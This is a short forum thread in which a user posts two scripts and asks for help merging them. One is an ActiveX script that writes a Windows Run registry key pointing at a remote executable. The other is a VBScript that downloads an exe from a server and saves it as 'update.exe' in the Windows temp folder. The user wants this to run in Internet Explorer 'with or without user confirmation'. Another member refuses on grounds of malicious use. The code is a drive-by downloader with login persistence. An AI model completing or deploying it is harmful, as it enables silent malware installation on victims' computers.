Run a vbs script inside Internet Explorer Module

Discussion forum for all Windows batch related topics.

Moderator: DosItHelp

Post Reply
Message
Author
hacxx
Posts: 47
Joined: 09 Apr 2015 13:18

Run a vbs script inside Internet Explorer Module

#1 Post by hacxx » 24 Oct 2020 13:04

I now this is a batch forum but i have this programing question and probably can be solved here...

I have this code from some time that adds a registry key to the system when executed from Internet Explorer.
(The user needs to confirm if he/she wants to execute the ActiveX object but this is not a problem)

This is the script (Script 1)

Code: Select all

<script> var url = 'iexplore.exe http://myserver/download.php?file.exe'; var Shell = new ActiveXObject('WScript.Shell'); Shell.RegWrite('HKCU\Software\Microsoft\Windows\CurrentVersion\Run\myapp',url); </script>
And i want to change the script above to run the code below

This is a vbs script (Script 2)

Code: Select all

<script>
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
 dim bStrm: Set bStrm = createobject("Adodb.Stream")
 xHttp.Open "GET", "http://myserver/download.php?file.exe", False
 xHttp.Send
 with bStrm
     .type = 1 '
     .open
     .write xHttp.responseBody
    .savetofile "C:\Windows\temp\update.exe", 2 '
 end with
</script>
The idea is to change the registry script 1 and run script 2 inside internet explorer. (With or without user confirmation)

T3RRY
Posts: 97
Joined: 06 May 2020 10:14

Re: Run a vbs script inside Internet Explorer Module

#2 Post by T3RRY » 24 Oct 2020 13:11

I cant see anyone here helping with a task can be used for malicious purposes.

hacxx
Posts: 47
Joined: 09 Apr 2015 13:18

Re: Run a vbs script inside Internet Explorer Module

#3 Post by hacxx » 24 Oct 2020 13:45

T3RRY wrote:
24 Oct 2020 13:11
I cant see anyone here helping with a task can be used for malicious purposes.
It requires Internet Explorer and almost no one is using it nowadays. This is to run inside a application that i'm developing using the Internet Explorer module...

Post Reply